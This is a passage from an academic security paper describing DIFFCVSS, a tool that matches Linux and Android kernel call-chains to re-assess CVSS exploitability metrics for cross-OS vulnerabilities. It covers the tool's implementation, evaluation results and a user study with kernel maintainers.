Matching vulnerability call-chains in Android. Since the
CVSS is evaluated for the Linux kernel instead of Android,
we cannot directly use the CVE description to identify the
corresponding vulnerability call-chain in the Android. To
address this, we propose a method to match the most relevant
vulnerability call-chain in Android based on a fact that most
functions are still the same or similar between the two ker-
nels. We use the following formula to evaluate the similarity
between two call-chains (one in Linux and the other in An-
droid). The idea is quite simple and intuitive—we perform a
similarity analysis against the two call-chains, and the similar-
ity is defined based on two intuitions: (1) similar call-chains
should call many same functions in the same order, and (2)
the shared functions should also be similarly distributed in
the call chains. That is, they also share a similar structure.

Accordingly, we define the similarity formula Sim =
std(index(LCS(CCL,CCA))) ∗ len(LCS(CCL,CCA)), where
CCL and CCA are the call-chains in Linux and Android, re-
spectively; LCS is the longest common subsequence, which is
commonly used to measure the edit distance between two lists
and used in previous works such as [9], to measure the sim-
ilarity of call-chains; index() is to get the indexes of shared
items in the Linux call chain and LCS; std is the standard
deviation(std) of the indexes list. std is a measure of disper-
sion for the shared functions; a higher std indicates that the
shared functions are spread out over a broader range of the
call chain. Thus, the higher the Sim is, the more similar the
two call-chains are.
Addressing the path-explosion problem. It is unrealistic to
explore all call-chains due to the path-explosion problem. We
observe that 95% of feasible paths collected from the fuzzing
log generated by Syzkaller [65] contain less than 18 func-
tions. Based on this observation, we employ the Dijkstra’s
algorithm [16] (a algorithm for obtaining the shortest paths
between two nodes in a graph) to select paths with less than
18 functions. Our evaluation results in §6.3 show that this
approach only introduces about 4/65 (6%) of false negatives.
However, without such a limit, there will be almost an “in-
finite” number of reachable paths from an entry point to a
vulnerable function—the complexity is O(V!) [59], where V
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is the number of vertices in the call graph; we found that the V
is larger than 300K in the recent versions of the Linux kernel,
easily leading to path explosion. Therefore, we believe that
choosing such a limit of 18 functions is necessary.

4.4 Differential Severity Analysis
After identifying and matching the vulnerability call-chains
in Linux and Android, DIFFCVSS analyzes their severity dif-
ferences. DIFFCVSS first uses the function-metric mapper
(§4.1) to determine whether the functions in the Android vul-
nerability call-chain are associated with exploitability metric
values, based on which DIFFCVSS can inference the values
for each exploitability metric. Notice that, for a specific met-
ric, if multiple values are found in the call-chain, DIFFCVSS
will choose the value associated with higher exploit require-
ments. For example, if DIFFCVSS finds two different func-
tions in the Android vulnerability call-chain, one is associated
with AV:N and the other is associated with AV:P, the final value
for exploitability metric AV will be P. This is because the at-
tacker has to access the vulnerable machine physically (AV:P),
which is a higher exploit requirement than remotely accessing
the machine (AV:N). After that, DIFFCVSS employs differ-
ential analysis to compare the exploitability metrics in the
Android and with the original CVSS vectors in the CVE
database. In this way, DIFFCVSS outputs the differential
metric values for the vulnerability in Linux and Android.

For instance, given a cross-OS vulnerability CVE-2016-
2085 with the function inode_permission in the differential
call-chains, DIFFCVSS will map such a function to the metric
value PR:H. When comparing with the original metric value of
PR:N, we conclude that an attacker requires higher privileges
when exploiting the vulnerable component.
Metrics-severity rating and comparison. Given those dif-
ferential metric values in Linux and Android, DIFFCVSS
quantifies severity changes using the CVSS calculator [1], by
mapping those metric values into real numbers. Note that the
quantification focuses on only the differential metrics, which
is a limited number, so it is easily automatable. Using the
same example of the vulnerability CVE-2016-2085, which
differential metrics are PR: H, and AC: H; after calculating
the severity changes, the results show that this vulnerability
has a lower severity in Android than Linux.

5 Implementation of DIFFCVSS
Word2Vec model training. We train the Word2vec model
using gensim [54]. The size of word vector is 300 (the
commonly-used value); the window size is 5 (maximum
distance between current words and predicted words); and
min_count is set to 1 (consider all the words appear in the
corpus). The training corpora includes 149k function de-
scriptions from the Linux kernel, 145K function descriptions
from the Android kernel, 3k Linux-related CVE descriptions,
and 935K git log messages. We pre-process each text se-
quence by removing white space and stopwords, transforming

hump-expressed or underline-expressed function names into
separate words (e.g., check_ipc_perms -> check ipc perms),
expanding constructions (don’t -> do not), etc.
BiLSTM+Attention model training. We manually anno-
tated 5,594 functions in total for model training. Using the
aforementioned model architecture (§4.1), we train a multi-
classifier for AV and three binary-classifiers for AC, PR, and UI,
respectively. We implement our models using Tensorflow [5].
The embedding size is set to 300 (same as the word2vec). The
hidden size used in BiLSTM is 150. The attention layer is ini-
tialized with normal distribution. The dropout rate is 0.2. In
the dense layer, we use the softmax as the activation function.
Also, we use the categorical cross-entropy loss and Adam
optimizer with learning rate 0.0001 in the model training.
OS-kernel compilation. In order to compile the target kernel
given a vulnerability and its CVE description, we first lever-
age the information extracted in §4.2 to determine configura-
tion options and the architecture. For example, if the vulner-
ability can only be exploited when CONFIG_XFRM_MIGRSTE is
disabled in X86 module, we will set CONFIG_XFRM_MIGRSTE=n
in the config file and set ARCH=x86 in make options. If there
is no such information extracted for CVE description or git
message, by default, we will use the allyes configuration in
the aarch64 architecture. Specifically, for the Linux kernel
compilation, we use standard Clang to generate bitcode files.
For Android compilation, we use AOSP Clang which pro-
vides pre-built tool chains in different architectures. However,
the process becomes tedious when some kernel versions do
not support the compilation with Clang (e.g., version before
4.4.165 or 4.9.139). To address this, we back-ported the Clang
patch-set before compiling it.
Building call graph and call chain. To identify call-chains
in different systems, we first build call graphs for each
of them. Specifically, we analyze all the call instructions
based on LLVM and leverage the state-of-the-art type match-
ing [43, 44, 75] to handle indirect calls. Furthermore, based
on the call stack and the call-graph, DIFFCVSS leverages
flow-sensitive analysis to build the call-chain by inserting the
called functions into the call stack.

6 Evaluation
6.1 Experiment Setting
Platform. We use a set of computing resources available
to us, including two servers (96 cores/256GB memory, 12
cores/64GB memory, respectively), and two desktops (8
cores/64GB memor/2 GPUs for each of them). All these
machines are running on Ubuntu 20.04.
Dataset. To evaluate the effectiveness of DIFFCVSS, we
utilized the following datasets.
• Ground-truth dataset for mapping functions to metrics. Our
tool api2Metrics mapped functions to CVSS metrics based
on attention-based classifiers. In order to train the models
and test their performance, we create a ground-truth dataset,

402    31st USENIX Security Symposium USENIX Association



Metrics type Metrics CVE APIs Examplevalue

Attack Vector
N 22 34 tcp_rcv_established: TCP receive function for the ESTABLISHED state
A 1 2 wlan_setup: set up any members of the wlan device structure that are common to all devices
P 24 116 device_release_driver: Manually detach device from driver. When called for a USB interface

Attack Complexity H 27 32 drm_atomic_check_only: check whether a given config would work
Privileges Required H 5 6 tomoyo_check_unix_acl: Check permission for unix domain socket operation
User Interaction R 22 42 tiocgsid: @tty: tty passed by user, @real_tty: tty side of the tty passed by the user if a pty else the tty

Table 4: The groundtruth set of mapping functions to metrics.

which has been released at [3]. The labeling process is as
follows. We first collect vulnerabilities that contain fuzzing
logs and extract their corresponding CVSS metrics assigned
by NVD. As shown in Table 4, we found 22 vulnerabilities
with UI:R; 22 vulnerabilities with AV:N; 24 vulnerabilities
with AV:P; 1 vulnerability with AV:A; 27 vulnerabilities with
AC:H; 5 vulnerabilities with PR:H. Then, two annotators with
security background manually check functions in the fuzzing
logs, map them into related metrics. In total, we collected 152
functions in AV metric, 32 functions in AC metric, 6 functions
in PR metric, and 42 functions in UI. Such data serve as a
good guidance for us to label more data. Two annotators
further labeled 1,557 functions for AV metric, 1,529 functions
for AC metric, 1,371 functions for PR, and 1,137 functions for
UI. Finally, we integrate all labeled functions. On average,
we have an agreement rate as 95%. For those uncertain cases,
we contact NVD maintainers for answers. For example, the
function btrfs_read_fs_root (a file operation) appears in
the fuzzing log of CVE-2019-19036. We are not sure whether
it should be associated with UI metric. The response from
NVD shows that when a CVE requires a file to be executed
in order to exploit, the UI should be R. Hence, we label such
file operations as UI related.

• Ground-truth dataset for mapping functions to metrics in
different versions of Android. As our metric mapping tool is
trained on the labeled functions from Linux mainline, we need
to transform it into Android. We build a ground-truth data
set from three stable Android versions which are Android-
3.18-o-release, Android-4.19-q-release, Android-12-5.4. As
demonstrated by prior work [57], the Android kernel intro-
duces a number of new kernel subsystems and new mecha-
nisms. Take Android-4.14 as an instance, the largest features
changed from mainline include 13.8% in Networking (net/net-
filter), 13.5% in Sdcardfs (fs/sdcardfs), 9.4% in USB (driver-
s/usb), and so on. In order to better migrate the difference,
we label data from such android-enhanced functions. More
specifically, we first identify those Android-specific functions
which only appear in Android kernel. In total, we get 22,169
Android-specific functions in Android-3.18-o-release, 8,695
in Android-4.14, and 4,079 in Android-12-5.4. Further, we
label 150 functions for each metric of each version as our
ground-truth.

• Ground-truth dataset for vulnerability call-chains. To eval-
uate the vulnerability call-chain identification of DIFFCVSS,
we collect 65 vulnerabilities in CVE database, which have

recorded the fuzzing logs, including the call-chains from entry
functions to vulnerable functions. We use these vulnerabili-
ties and the associated call-chains as the ground-truth set in
this evaluation.

6.2 Evaluating Metric-to-Function Mappings
In a nutshell, we achieve a high accuracy in mapping metrics
to functions: a precision of 93.0% and a recall of 91% on
average. In this study, we perform a Train-Test Split of our
labeled data. Specifically, we randomly sample 70% of data
to train the model, 10% of data to tune the hyperparameters,
and the rest 20% to evaluate the model performance. Table 5
details the experiment results.

6.2.1 Precision and Recall of Classifiers
Attack Vector (AV) classifier. To train this multi-class classi-
fication model, we manually label 1,557 functions. Based on
the rules provided by CVSS [35], 190 functions are bounded
to network stack and allow remotely access (N); 124 func-
tions are also bounded to network stack but limit network
attacks to adjacent access (A); 203 functions require attackers’
physically access (P); the remaining 1,101 functions are not
related to AV metrics. The results are shown in Table 5. When
looking into the false positives cases of N and false negatives
of A, we found that the classifier falsely classified some ad-
jacent network functions into N. This is due to they share
the similar semantic contexts, as the metric values N and A
are both bound to network stack; the difference is that metric
value A can only be locally accessed (e.g., Bluetooth or IEEE
802.11) while N can be remotely (e.g., across one or more
routers). In our study, our attention mechanism is able to
capture some informative keywords which indicate the same
shared physical network or local network (e.g., “WLAN”,
“wireless”, “Bluetooth”, “wifi”, “ieee80211” ) to distinguish A
from N.
Attack Complexity (AC) classifier. We train a binary clas-
sifier to discover functions that reflect complex conditions
that attacker must control to exploit the vulnerability. For this
purpose, we manually label 1,529 functions, among which
411 functions reflect high attack complexity (H). As shown
in Table 5, on the test data, we achieved 92.38% precision
and 91.51% recall in classifying high attack complexity func-
tions. When analyzing the false positives of the model, we
found that the falsely labeled functions turn out to indeed
contain sentiment terms and reflect high requirements for
exploitability, whose semantic context is more focused on
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the requirement of access privileges that are supposed to be
classified as PR metric. For example, the sentence “check
for access right to given inode.” are falsely labeled, since it
includes the sentiment word “check” and describe the need
for extra capability. However, the corresponding function
inode_permission is intended to check the read and write
permission on an inode which should be classified into a sep-
arate PR metric according to the latest CVSS 3.1 guideline.
On the other side, false negatives are mainly caused by the
sentiment analysis, which failed to put more attention to some
sentiment terms like “futex” which implement basic locking
and indicate the timing conditions, due to the incompleteness
of training set.
Privilege Required (PR) classifier. We train a binary clas-
sifier to discover functions that reflect certain permission is
required to perform attack. To this end, we manually label
1,371 functions, among which 236 functions perform per-
mission checks. On the test dataset, our model achieves a
recall of 94.52% and a precision of 93.24%. When look-
ing into false positives, we found that those falsely labeled
functions indicate some other conditions the attacker needs
to control, which however actually belong to the AC metric.
For example, the function qla4_82xx_pci_mem_bound_check
has the description “check memory access boundary used
by test agent support ddr access only for now”, which how-
ever indicates more conditions the attacker should control
during exploitation and hence is supposed to be classified
as AC. Interestingly, such blurs between AC and PR metric is
explainable by historical CVSS version (2.0), in which AC and
PR both belong to the same metric Access Complexity[22].
When looking to the false negatives, we found many of them
are caused by less formal, imprecise, vague descriptions [61].
User Interaction (UI) classifier. We train a binary classi-
fier to recognize functions that reflect user operations. For
this purpose, we manually label 1,137 functions. On the test
dataset, our model achieves a precision of 92.96% and a re-
call of 91.67%. When looking into the false positives, we
found that the falsely labeled functions are caused by high
attention to some specific terms. For example, the function
account_user_time has description “account user cpu time
to process the process that the cpu time get accounted to
cputime the cpu time spent in user space since the last up-
date”, which is falsely labeled as the excessive attention to
the informative term “user”.

6.2.2 Model Transferability
In order to evaluate the model’s transferability on Android
kernel, we ran the four classifiers over the ground-truth dataset
which contains labeled functions from three stable Android
kernel versions. As shown in Table 5, the performance on
Android is in parallel with that of Linux, which confirms the
stability and generality of our models. For example, when
classifying the functions to PR: H, the model achieves a recall
around 93% in both Android and Linux kernels.

6.2.3 Effectiveness on Different Versions
This section further evaluates the models of DIFFCVSS
against more versions of the Linux and Android kernels. The
evaluation is to confirm that DIFFCVSS is generic and has
stable performance across different versions. Specifically, we
evaluate the performance of DIFFCVSS on Linux-4.4, Linux-
4.9, Linux-4.14, Android-4.4-o, Android-4.9.p, Android-4.14-
q. We randomly sample and annotate 200 distinct functions
for each metric under each Linux and Android version. Fur-
ther, we run Linux and Android kernel models, respectively,
and the results are detailed in Table 6. As we can see, the
precision and recall of each metric over different versions
are numerically stable. For example, the precision of the PR
metric across three Android kernel versions is 91.39% on
average with the standard deviation of 1.74. Moreover, when
we inspect the internal function difference in three Linux ver-
sions and three Android versions, we found that the function
difference is negligible, and most of the functions would not
be changed between different versions. Specifically, for two
adjacent versions listed above, such as v4.4 and v4.9, on aver-
age, the newer version will add 9.8% of functions and delete
about 3.9% of functions in the old version. Such observa-
tion explains why our Linux model has a stable performance
across different versions, the same as the Android model.

6.2.4 Comparison with the State of the Art
Pex [75] is a recent tool that identifies a set of functions that
perform permission checks. More specifically, Pex manually
constructed a small set of known permission-check functions,
and then used dominator analysis [49] to find their wrappers.
In total, PeX finds 284 functions that perform permission
checks. DIFFCVSS is able to map all of them to the metric
value of PR:H. Moreover, DIFFCVSS discovers additional
1,034 permission-check functions through the Privilege Re-
quired classifier.

6.3 Evaluating Call-Chain Identification
The scale of possible call-chains. Given a vulnerability,
DIFFCVSS first collects all possible call-chains and then
identifies the one related to the vulnerability. If there are too
many possible call-chains, the identification may not scale.
The evaluation shows that, on average, DIFFCVSS collects
352 possible call-chains. With the call-chain identification
mechanism, DIFFCVSS is able to precisely identify 7.7 vul-
nerability call-chains on average (with the median of 2). This
result shows that DIFFCVSS can effectively mark 98% of
call-chains as irrelevant.
Effectiveness of vulnerability call-chain identification.
As discussed in §6.1, we selected 65 vulnerabilities with
fuzzing log as the ground-truth set to evaluate the preci-
sion of our approach. Our evaluation result shows that 54
(83%) of these vulnerability call-chains can be identified by
DIFFCVSS, and 11 of them are missed due to the following
reasons. First, the inaccuracy of call-graph construction. In
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Linux Mainline Android-3.18-o-release Android-4.19-q-release Android-12-5.4
Metrics Label Recall Precision Recall Precision Recall Precision Recall Precision

Attack Vector
N 92.42% 93.84% 94.44% 87.2% 89.74% 92.11% 94.45% 91.23%
A 87.50% 93.33% 86.04% 92.5% 93.33% 90.32% 91.11% 93.18%
P 88.52% 91.53% 89.66% 92.85% 91.43% 94.12% 87.88% 93.55%

Attack Complexity H 91.51% 92.38% 93.88% 86.79% 93.44% 89.1% 93.1% 91.53%
Privileges Required H 94.52% 93.24% 93.94% 91.8% 92.59% 89.28% 91.67% 91.67%
User Interaction R 91.67% 92.96% 93.65% 90.77% 92.96% 90.04% 92.5% 92.72%

Table 5: The precision and recall of each classifier in metric-function mappings, as well their transferability.

Linux-4-4 Linux-4-9 Linux-4-14 Android-4.4-0 Android-4.9-p Android-4.14-q
M Label R P R P R P R P R P R P

AV
N 94.59% 89.74% 90.14% 91.42% 92.85% 91.54% 92% 89.61% 88.24% 91.83% 91.17% 87.32%
A 89.47% 91.07% 90.14% 91.42% 92.85% 91.54% 90% 93.10% 92.15% 90.38% 92.92% 92.10%
P 92.45% 89.09% 89.65% 92.85% 90.91% 89.28% 88.23% 93.75% 90.56% 85.71% 87.80% 90%

AC H 90.74% 92.45% 89.19% 91.66% 90.52% 92.47% 90.74% 89.91% 92.92% 92.11% 92% 90.19%
PR H 90.14% 92.75% 92.55% 93.54% 93.54% 89.23% 89.83% 93.81% 94.04% 89.77% 93.90% 90.58%
UI R 91.01% 94.18% 92.41% 90.12% 91.57% 92.68% 89.87% 91.03% 92.71% 90.81% 90.91% 93.33%

Table 6: The precision and recall of each classifier on multiple Linux and Android versions. M = Metrics.

the Linux kernel, some entry functions are written in assem-
bly code, which cannot be correctly compiled and analyzed by
LLVM. Therefore, the callee of these entry functions may be
missed. This leads to 7 missed cases. Also, as we discussed
in §4.3, DIFFCVSS enforces a limit of 18 for the number of
functions in a call-chain to avoid path explosion. This leads to
the remaining 4 missed cases. Accordingly, these issues can
be alleviated in the future by improving the program-analysis
techniques such as indirect-call analysis and assembly anal-
ysis. However, improving such techniques is challenging,
which requires new designs and lots of engineering works,
and thus they are regarded as the future works for DIFFCVSS.

Precision of the Android and Linux call-chain matching.
As we discussed in §4.3, by comparing the CVE-related call-
chain in Linux, DIFFCVSS matches the most similar call-
chain in Android and further analyzes the metrics of this
call-chain. Here we evaluate the precision of the matching.
We manually compare the Linux vulnerability call-chain with
Android call-chains identified by DIFFCVSS to see if they
contain the same set of functions in the same execution or-
der. It took 2 security professionals 2 person-hours for data
annotation.

After checking all the 127 call-chain pairs, we found that
113 of them are matched exactly, but 14 are not exactly the
same. We further analyzed these 14 cases and found that all
of them are not caused by the similarity analysis, but instead
caused by missing the same functions in Android. This means
that these 14 cases may not be false-positive cases, but are
already the most similar call chains we can find. Therefore,
given a CVE-related call-chain in Linux, we believe that the
similarity analysis is precise in capturing the similar Android
call-chain based on this result.

6.4 Evaluating Cross-OS Severity Differences
In this section, we evaluate the severity differences of cross-
OS vulnerabilities in Linux and Android, as well as in differ-

ent versions of Linux.
# vulnerabilities

AV AC PR UI
More severe in Android 13 11 35 2
More severe in Linux 63 57 36 75
Similar severe in Linux and Android 51 59 56 50

Table 7: Cross-OS vulnerability exploitability metric difference
between Linux and Android.

6.4.1 Severity Differences Between Linux and Android
To conduct this experiment, we select cross-OS vulnerabili-
ties from the Linux kernel with the following rules: (1) the
vulnerabilities should be found in recent years because as
cross-OS vulnerabilities, they should affect at least one of
the versions in Android (v3.18, v4.4, v4.9, v4.14, v4.19, and
v5.4); (2) the patch of the vulnerability is available; (3) the
vulnerable file can be successfully compiled to LLVM IR.
Finally, 127 vulnerabilities are selected and analyzed in this
experiment.

As discussed in §4.4, based on the differential severity
analysis, DIFFCVSS outputs differential CVSS metric val-
ues of cross-OS vulnerabilities in Linux and Android. The
results are summarized in Table 7. For example, the first
row in the table indicates the number of CVEs that the cor-
responding metrics have higher severity than they are in the
Linux (e.g., a vulnerability has AV:N in Android but AV:P in
Linux). Furthermore, our study also measures the difference
of the vulnerability’s severity groups (low, medium, high, crit-
ical), defined by CVSS [50]. This result shows that among
127 vulnerabilities, beyond 17 (13%) vulnerabilities with the
same severity in Android and Linux, the severity of most of
the cross-OS vulnerabilities (87%) is different in different
OSes. Specifically, 92 (72%) of the vulnerabilities are more
severe in Linux than Android, which means that prioritizing
the patch for Android may waste maintenance resources that
are supposed to be allocated for critical vulnerabilities. Also,
18 (15%) vulnerabilities are more severe in Android, which
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means that these vulnerabilities may not be patched timely in
Android if the severity evaluation is based on the CVSS score
for Linux. This can be particularly critical as adversaries will
have a larger time window to exploit the “already-publicized”
critical vulnerabilities in Android devices.
The precision. To check the precision, we manually look
into all these cases reported by DIFFCVSS and see if (1)
the identified exploitable call chain is indeed related to the
CVE description, (2) the identified exploitability metrics from
functions are correct, and (3) the severity differences are
correctly calculated and compared. If a case meets all of these
requirements, we regard it as correct. The manual analysis
shows that among these 127 cases, 116 of them are correct,
which means that DIFFCVSS achieves a high precision of
(91.3%) in the differential severity analysis. Looking into
these incorrect cases, 4 are caused by missing enough useful
vulnerability artifacts to select the vulnerability call-chains.
Therefore, DIFFCVSS mis-selected the vulnerability call-
chains. Also, 7 are caused by the incorrect mapping from
exploitability metrics to functions. This result is aligned with
the result from the user study (see §7), and we will further
discuss the potential improvements for precision in §8.
Case Study: a more severe vulnerability in Android.
CVE-2019-3701 is a local out-of-bound write vulnerability.
Its exploitability metrics assigned by NVD in the affected
Linux kernel v4.19 are AV:L/AC:L/PR:H/UI:N. Running on
this vulnerability, DIFFCVSS outputs a differential metric
value of AV:N in affected Android kernel v4.19. It indicates
that an attacker can even exploit this vulnerability remotely
in Android (AV:N)—a much more severe case—while in the
Linux kernel, an attacker has to access the target system
locally (AV:L). When looking into the difference of vulner-
ability call-chains in Linux and Android, we found that the
function tcp_v6_do_rcv exists in Android vulnerability call-
chain while not in Linux. The function tcp_v6_do_rcv is
the network protocol-level related function, which indicates
the vulnerable component is bound to the network stack in
Android.

6.4.2 Severity Differences Between Linux Versions
In this evaluation, we further test the vulnerabilities-severity
differences among different versions of the Linux kernel.
Since there are thousands of versions of Linux kernels, test-
ing all of them is unrealistic. Therefore, in this evaluation,
we only test the vulnerabilities-severity differences in several
commonly-used versions and long time support versions, in-
cluding v3.8, v3.18, v4.4, v4.9, v4.19, v5.1, and v5.4. Then,
from all the 127 vulnerabilities we have tested, we select the
vulnerabilities that would affect at least two of the versions
we just mentioned. Finally, 92 vulnerabilities are selected
and analyzed. Among them, 62 vulnerabilities have the same
severity across different versions of the Linux kernel, and 30
show different severity in different versions. These results
indicate that even for the same system, vulnerabilities can

cause different severity for different versions. Therefore, the
patching priority should also be evaluated per version when
needed.

7 Usability Study
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Figure 4: The Procedure of the user study.

We further conduct a user study to evaluate the usability
of DIFFCVSS from the user perspective (e.g., downstream
maintainers). The usability of DIFFCVSS focuses on effec-
tiveness, accuracy, and satisfaction. In particular, we seek
to answer the following key questions: Q1: How efficient
is DIFFCVSS in reducing maintainer workload? Q2: How
accurate is DIFFCVSS in re-evaluating vulnerability? Q3:
How usable is DIFFCVSS in practice?
Recruitment. After an IRB approval, we recruited partici-
pants by distributing recruitment advertisements online (see
the detail requirements for recruitment in Appendix 12.1.1),
contacting related organizations (mostly CVE Numbering
Authorities (CNAs) worldwide) that maintain downstream
Linux derivatives, and snowball sampling, where participants
recommended other colleagues. In total, we recruited 30
participants, including ten maintainers in industry who have
real-world experience in vulnerability evaluation and 20 grad-
uate students who have a background in system security. We
follow a standard and ethical way [45, 55, 70] to reward par-
ticipants ($30 Amazon gift card for each student and $100
for each employee) in the user study. Table 8 details the
demographics of participants. We believe the number of par-
ticipants is substantial, as it is already more than 12-20 partic-
ipants as suggested by qualitative research best practices liter-
ature [31] and also aligns with related works [25, 60, 67, 68].
Procedure of the user study. In this study, we selected in
total 20 vulnerabilities analyzed by DIFFCVSS, which can
cover different exploitability metrics and different severity
levels, and every participant is required to analyze 4 of these
vulnerabilities. Due to the various expert levels of maintain-
ers and students, the procedures slightly differ, which are
shown in Figure 4. Specifically, maintainers were asked to re-
evaluate two vulnerabilities manually and the other two with
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S (n = 30)
Organization U1 40%

U2 35%
U3 20%
U4 5%
C1 40%
C2 20%
C3 20%
C4 10%
C5 5%
C6 5%

years 1-3 years (Security analyzer) 30%
and role 3-5 years (Security analyzer) 50%

6+ years (Security Manager) 20%
Education Bachelor’s degree 10%

Master’s degree 20%
Ph.D’s degree or higher 70%

Table 8: PARTICIPANTS DEMOGRAPHICS: U1-U4 represents 4
universities,C1-C6 represents 6 companies, S represents Survey.

the help of our tool, DIFFCVSS. To ensure students are capa-
ble for vulnerability assessment, we asked them to study the
training materials before re-evaluating the four vulnerabilities
with the help of DIFFCVSS. Our training materials include
wiki-based background introduction, real-world examples of
vulnerability-severity re-evaluation, and a case study based
on DIFFCVSS. Note that here the information provided by
DIFFCVSS for the participants includes: (1) the most likely
vulnerability path (the code path triggering the vulnerability);
(2) the most similar vulnerability path in the Android kernel;
(3) the Android functions and associated CVSS metric values.

After that, all the participants were asked to complete a
questionnaire for measuring the usability of DIFFCVSS in-
cluding effectiveness, precision, and satisfaction. Finally, we
check their responses and perform an interview to understand
their feedback of DIFFCVSS in detail. We provide all the
training materials and survey questions in [3].

M S A

Manual re-evaluation time > 4h N/A 4.8h
(M=8)

Evaluation time with help of tool 21.7m 23.8m 23.1m
Reduced workload with help of tool 75.1% 78.3% 76.7%
Metric-level Accuracy 88.75% 90.31% 89.53%
Severity-level Accuracy 90% 91.2% 90.6%

Table 9: User study evaluation results. M=maintainer, S=student,
A=average

Results. This study lasted over four months, including survey
design, recruitment, and data collection and analysis. We
elaborate on the answers to the above questions as follows:
• DIFFCVSS can save 91.98 % of time and reduce

76.7% of workload. We demonstrate the effectiveness of
DIFFCVSS by comparing the re-evaluation time with and
without DIFFCVSS. Specifically, 90% of maintainers (M=9)
were unable to manually re-evaluate the two vulnerabilities
due to the time limit (120 minutes). When we asked how
much time they would expect to finish the re-evaluation, 8

maintainers answered “at least 4 hours”, and two of them
answered “more than 6 hours”. The average expected evalua-
tion time is 4.8h. In comparison, with the help of DIFFCVSS,
most participants (M=10, S=18) successfully finished this
task within 30 minutes. The average time is 23.1 min. The
results show that DIFFCVSS dramatically eases the vulnera-
bility assessment for maintainers. The results are summarized
in table 9.

Moreover, we present the responses of participants on how
much and what kind of workload can be reduced with the
help of DIFFCVSS. The average reduction of workload is
76.7% (M=75.1%, S=78.3%). Specifically, 34.2% of par-
ticipants (M=36.36%, S=32.05%) state that “less time to
find vulnerability-related call-chain”; 28.53% of participants
(M=27.27%, S=29.79%) describe that “less time to under-
stand the functionality of source code”; 17.43% of partici-
pants (M=18.18%, S=16.67%) expressed that “less time to
understand the exploitability of the vulnerability”. The results
show that DIFFCVSS can significantly reduce the time and
efforts for vulnerability re-evaluation.
• DIFFCVSS achieves an accuracy of 89.53% in Metric-

level and 90.6% in Severity-level on average. In order to
test how precisely DIFFCVSS can re-evaluate vulnerabili-
ties from user perspectives, we present each step’s results of
DIFFCVSS to the participants. With the help of DIFFCVSS,
the participants are asked to re-evaluate the severity of the
vulnerability in Android kernel. After that, we compare their
re-evaluation results with that of DIFFCVSS in Metric-level
and Severity-level. Metric-level means we evaluate the fine-
grained precision in terms of four exploitability metrics (AV,
AC, PR, UI). Severity-level means we measure the precision
in terms of a vulnerability’s severity group (low, medium,
high, critical) defined by CVSS [50]. Note that sometimes
one metric difference will not change the severity level. The
results show that DIFFCVSS achieves a 89.53% of accu-
racy (M=88.75%, S=90.31%) in metric-level and correctly
re-evaluates 90.6% (M=90%, S=91.2%) of vulnerabilities,
which align with the evaluation results in §6.
• The vast majority of participants expressed satisfaction

with the usability of DIFFCVSS. We seek to understand
how DIFFCVSS satisfies the maintainers and potential users.
The satisfaction metric is measured by the following key
points: whether DIFFCVSS can provide correct guidance
and whether they are willing to utilize them for vulnerabil-
ity assessment. 90% of participants (M=8, S=19) thought
DIFFCVSS could correctly guide them to re-evaluate vulner-
abilities. One maintainer chose the option might or might
not. He commented that “Though DIFFCVSS can help me to
analyze the vulnerability, the proof-of-concept (PoC) is neces-
sary if I want to re-evaluate a vulnerability very precisely”.
It is indisputable that PoC can contribute significant help for
the security analyzer. However, only 9.7% of linux kernel
related-vulnerabilities have PoC. Although DIFFCVSS can-
not provide the exact PoC, the 83% vulnerable call stacks it
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generated are the same as that of PoC (see §6.3). One par-
ticipant posted a negative attitude and commented that “Not
sure whether the call-chain generated on Android kernel is
correct”. We re-checked the vulnerabilities he re-evaluated
with the help of DIFFCVSS and found the call-chain gener-
ated on Android indeed has a significant discrepancy with
Linux, which only shares 22.53% of functions. To find the
most possible vulnerable call-chain in the Android kernel,
DIFFCVSS matched the most similar one of the Linux ker-
nel, which we acknowledge that it may cause a certain error.
It is possible that such a vulnerability does even not exist in
the Android kernel when the similarity score is very low. The
security analyzer may need extra efforts to determine in such
a situation. As to the question whether they are willing to use
them in the future, 90% of participants (M=8, S=19) chose
Yes, 6.67% (M=1, S=1) chose Not sure, and 3.33% (M=1)
chose No.
Analysis of False Cases of DIFFCVSS in User Study. Fur-
ther, we inspect why DIFFCVSS failed to re-evaluate some
vulnerabilities correctly. First, 38.5% of the cases are caused
by uncertainty of the call-chain generation. The participants
expressed doubts about the reach-ability of the call chain.
One describes that “though DIFFCVSS generates the most
possible exploitable call-chain, but it didn’t provide enough
evidence to show it is reachable which increases my uncer-
tainty to the results of DIFFCVSS”. Second, 34.6% of cases
are caused by the false positives and false negatives in func-
tion mapping. For example, the function path_get, which
gets a reference to a path, is incorrectly mapped to the UI
metrics. One participant said that “when a window pops up
in android apps, it may invoke the path_get, but it did not in-
volve any user interaction”. On the other hand, The function
usb_submit_urb is a miss-reported case, which indicates it
requires victims to plug a malicious USB into their computers
(UI), but the UI model failed to recognize it. The others are
unsatisfied with the presentation of DIFFCVSS. One par-
ticipant commented that “The plain and long call-chain of
Android and Linux are presented on different pages, which is
hard for me to compare the difference”. We acknowledged
that the presentation of DIFFCVSS results is not very user-
friendly, which may impact its usability. It would be nice to
visualize the call-chain and highlight the difference; however,
doing so will take much laborious engineering efforts, which
is not our focus in the current research stage.

8 Discussion and Future Work
Improving the accuracy of DIFFCVSS. There are two ma-
jor possible causes of false results: incorrect mapping from
exploitability metrics to functions and incorrect vulnerabil-
ity call-chain identification. The first issue is mainly caused
by missing enough keywords and descriptions to determine
the relationship between a function and vulnerability met-
rics. This issue can be alleviated in the future by collecting
function descriptions from other sources, such as git logs

that mention the functionality or design of different functions.
Such information can be used to improve the precision of
the model further. Also, the metric value of some functions
cannot be determined only by its description, but also its pa-
rameter. For example, the function capable(int cap) can
decide if the current task has some capability in effect. Some
arguments, such as cap = CAP_SYS_ADMIN, indicate an admin
capability and thus indicates PR:H, but other arguments like
cap = CAP_IPC_OWNER may only show a general capability
and thus indicate PR:L. Therefore, future work can equip
data-flow analysis or code context analysis to improve the
precision of mapping functions to exploitability metrics. The
second issue is often caused by the incorrect identification
of indirect calls and the incomplete coverage of entry point
functions written in assembly code. Correspondingly, this is-
sue can also be alleviated by improving the program-analysis
techniques such as indirect-call analysis and assembly analy-
sis. Equipping the end-to-end symbolic execution to verify
the feasibility of call-chain can also improve the precision of
vulnerability call-chain identification.
Limitation and generality. DIFFCVSS still has some lim-
itations. Most importantly, the component of mapping ex-
ploitability metrics requires well-maintained documentation
that provides direct, clear, and descriptive function descrip-
tions. Fortunately, most large open-source projects, such
as the Linux kernel, which have many derivatives, are typi-
cally well maintained and thus provide enough documentation
like function description. However, DIFFCVSS would not
work well for the projects with vague, incomplete, and in-
